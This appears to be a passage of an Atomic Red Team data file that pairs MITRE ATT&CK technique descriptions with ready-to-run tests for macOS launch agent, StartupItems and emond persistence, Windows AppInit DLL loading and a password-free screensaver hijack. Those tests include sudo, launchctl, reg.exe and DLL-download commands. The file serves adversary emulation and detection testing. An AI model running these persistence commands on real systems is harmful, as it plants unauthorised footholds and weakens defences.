[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware) supported_platforms: - macos input_arguments: path_malicious_script: description: Name of script to store in cron folder type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_daemon.sh" path_malicious_plist: description: Name of file to store in /tmp type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_daemon.plist" path_startup_params: description: Name of plist with startup params type: string default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist" dependency_executor_name: bash dependencies: - description: "/Library/StartupItems must exist\n" prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi; ' get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1; ' - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' - description: 'The startup script must exist on disk at specified location (#{path_malicious_script}) ' prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The startup script doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist sudo /Library/StartupItems/atomic.sh start cleanup_command: | sudo launchctl unload /tmp/T1037_005_daemon.plist sudo rm /tmp/T1037_005_daemon.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_daemon.txt - name: Add launch script to launch agent auto_generated_guid: 10cf5bec-49dd-4ebf-8077-8f47e420096f description: | Add launch script to /Library/StartupItems to launch agent [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware) supported_platforms: - macos input_arguments: path_malicious_script: description: Name of script to store in cron folder type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_agent.sh" path_malicious_plist: description: Name of file to store in /tmp type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_agent.plist" path_startup_params: description: Name of plist with startup params type: string default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist" dependency_executor_name: bash dependencies: - description: "/Library/StartupItems must exist\n" prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi; ' get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1; ' - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' - description: 'The startup script must exist on disk at specified location (#{path_malicious_script}) ' prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The startup script doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist /Library/StartupItems/atomic.sh start cleanup_command: |- sudo launchctl unload /tmp/T1037_005_agent.plist sudo rm /tmp/T1037_005_agent.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_agent.txt T1078.002: technique: modified: '2023-08-14T14:55:07.432Z' name: Domain Accounts description: |- Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f created: '2020-03-13T20:21:54.758Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/002 external_id: T1078.002 - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: Microsoft AD Accounts description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts - source_name: Ubuntu SSSD Docs description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. url: https://ubuntu.com/server/docs/service-sssd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1037.003: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99 type: attack-pattern created: '2020-01-10T18:01:03.666Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1037.003 url: https://attack.mitre.org/techniques/T1037/003 - source_name: Petri Logon Script AD url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008 description: Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019. modified: '2021-04-29T14:49:39.188Z' name: Network Logon Script description: "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \ \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Active Directory: Active Directory Object Modification' - 'File: File Modification' - 'Process: Process Creation' - 'File: File Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1546.010: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: AppInit DLLs' description: "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Process: OS API Execution' x_mitre_effective_permissions: - Administrator - SYSTEM x_mitre_permissions_required: - Administrator x_mitre_system_requirements: - Secure boot disabled on systems running Windows 8 and later type: attack-pattern id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd created: '2020-01-24T14:52:25.589Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/010 external_id: T1546.010 - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: AppInit Registry description: Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015. url: https://support.microsoft.com/en-us/kb/197571 - source_name: AppInit Secure Boot description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015. url: https://msdn.microsoft.com/en-us/library/dn280412 - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.010 atomic_tests: - name: Install AppInit Shim auto_generated_guid: a58d9386-3080-4242-ab5f-454c16503d18 description: "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n" supported_platforms: - windows input_arguments: registry_file: description: Windows Registry File type: path default: PathToAtomicsFolder\T1546.010\src\T1546.010.reg registry_cleanup_file: description: Windows Registry File type: path default: PathToAtomicsFolder\T1546.010\src\T1546.010-cleanup.reg dependency_executor_name: powershell dependencies: - description: 'Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file}) ' prereq_command: 'if ((Test-Path "#{registry_file}") -and (Test-Path "#{registry_cleanup_file}")) {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path "#{registry_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}" - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and T1546.010x86.dll) ' prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll)) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll executor: command: 'reg.exe import "#{registry_file}" ' cleanup_command: 'reg.exe import "#{registry_cleanup_file}" >nul 2>&1 ' name: command_prompt elevation_required: true T1546.002: technique: modified: '2023-07-28T18:17:34.185Z' name: 'Event Triggered Execution: Screensaver' description: |- Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence: * SCRNSAVE.exe - set to malicious PE path * ScreenSaveActive - set to '1' to enable the screensaver * ScreenSaverIsSecure - set to '0' to not require a password to unlock * ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Bartosz Jerzman x_mitre_deprecated: false x_mitre_detection: |- Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf created: '2020-01-24T13:51:01.210Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/002 external_id: T1546.002 - source_name: ESET Gazer Aug 2017 description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.' url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf - source_name: Wikipedia Screensaver description: Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. url: https://en.wikipedia.org/wiki/Screensaver object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.002 atomic_tests: - name: Set Arbitrary Binary as Screensaver auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64 description: 'This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon. ' supported_platforms: - windows input_arguments: input_binary: description: Executable binary to use in place of screensaver for persistence type: path default: C:\Windows\System32\cmd.exe reboot: description: Set to non-zero value if you want the test to reboot the system so that changes take effect type: integer default: 0 executor: command: | reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr" reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f if #{reboot} NEQ 0 shutdown /r /t 0 cleanup_command: | reg import %userprofile%\backup.reg del %userprofile%\backup.reg del %SystemRoot%\System32\evilscreensaver.scr name: command_prompt elevation_required: true T1543.001: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Antonio Piazza, @antman1p object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584 created: '2020-01-17T16:10:58.592Z' x_mitre_version: '1.4' external_references: - source_name: mitre-attack external_id: T1543.001 url: https://attack.mitre.org/techniques/T1543/001 - source_name: AppleDocs Launch Agent Daemons url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. - source_name: Sofacy Komplex Trojan url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - source_name: OceanLotus for OS X url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. - source_name: OSX Keydnap malware url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. - source_name: Methods of Mac Malware Persistence url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. - source_name: OSX Malware Detection url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' - source_name: Antiquated Mac Malware url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. - source_name: OSX.Dok Malware url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. x_mitre_deprecated: false revoked: false description: "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) " modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Create or Modify System Process: Launch Agent' x_mitre_detection: "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Modification' - 'Service: Service Modification' - 'File: File Creation' - 'Service: Service Creation' - 'Command: Command Execution' x_mitre_permissions_required: - Administrator - User x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1543.001 atomic_tests: - name: Launch Agent auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900 description: 'Create a plist and execute it ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The shared library doesn''t exist. Check the path"; exit 1; ' executor: name: bash elevation_required: true command: | if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi; sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename} sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename} cleanup_command: | sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename} sudo rm ~/Library/LaunchAgents/#{plist_filename} - name: Event Monitor Daemon Persistence auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e description: "This test adds persistence via a plist to execute via the macOS Event Monitor Daemon. \n" supported_platforms: - macos input_arguments: script_location: description: evil plist location type: path default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" script_destination: description: Path where to move the evil plist type: path default: "/etc/emond.d/rules/atomicredteam_T1543_001.plist" empty_file: description: Random name of the empty file used to trigger emond service type: string default: randomflag executor: name: bash elevation_required: true command: | sudo cp #{script_location} #{script_destination} sudo touch /private/var/db/emondClients/#{empty_file} cleanup_command: |- sudo rm #{script_destination} sudo rm /private/var/db/emondClients/#{empty_file} - name: Launch Agent - Root Directory auto_generated_guid: 66774fa8-c562-4bae-a58d-5264a0dd9dd7 description: 'Create a plist and execute it ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.T1543.001.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" dependency_executor_name: bash dependencies: - description: "/Library/LaunchAgents must exist\n" prereq_command: 'if [ ! -d /Library/LaunchAgents ]; then mkdir /Library/LaunchAgents; exit 0; fi; ' get_prereq_command: 'echo "Failed to create /Library/LaunchAgents"; exit 1; ' - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename} launchctl load -w /Library/LaunchAgents/#{plist_filename} cleanup_command: | launchctl unload /Library/LaunchAgents/#{plist_filename} sudo rm /Library/LaunchAgents/#{plist_filename} sudo rm /tmp/T1543_001_atomicredteam.txt T1055.009: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591 type: attack-pattern created: '2020-01-14T01:34:10.588Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.009 url: https://attack.mitre.org/techniques/T1055/009 - url: http://hick.org/code/skape/papers/needle.txt description: skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. source_name: Uninformed Needle - source_name: GDS Linux Injection url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020. - source_name: DD Man url: http://man7.org/linux/man-pages/man1/dd.1.html description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020. modified: '2021-04-29T14:49:39.188Z' name: Proc Memory description: "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_defense_bypassed: - Application control - Anti-virus spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1546.016: technique: modified: '2024-04-12T02:23:44.583Z' name: Installer Packages description: |- Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton) Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: 